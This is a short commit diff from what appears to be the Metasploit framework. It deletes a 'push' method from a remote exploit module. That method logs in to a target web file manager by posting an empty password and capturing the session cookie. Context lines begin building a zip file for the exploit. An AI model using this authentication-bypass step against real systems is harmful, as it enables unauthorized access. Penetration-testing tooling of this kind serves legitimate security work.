bug/bundler_fix
wchen-r7 2016-02-29 18:58:05 -06:00
parent f55835cceb
commit 274b9acb75
1 changed files with 0 additions and 28 deletions

View File

@ -79,34 +79,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def push
uri = normalize_uri(target_uri.path)
# To push the Enter button
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'frame' => '3',
'pass' => '' # yep this should be empty
},
'agent' => 'Mozilla'
})
if res.nil?
vprint_error("Connection timed out")
fail_with(Failure::Unknown, "Failed to trigger the Enter button")
end
if res && res.headers && res.code == 302
print_good("Logged in to the file manager")
cookie = res.get_cookies
cookie
else
fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
end
end
def create_zip_file
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)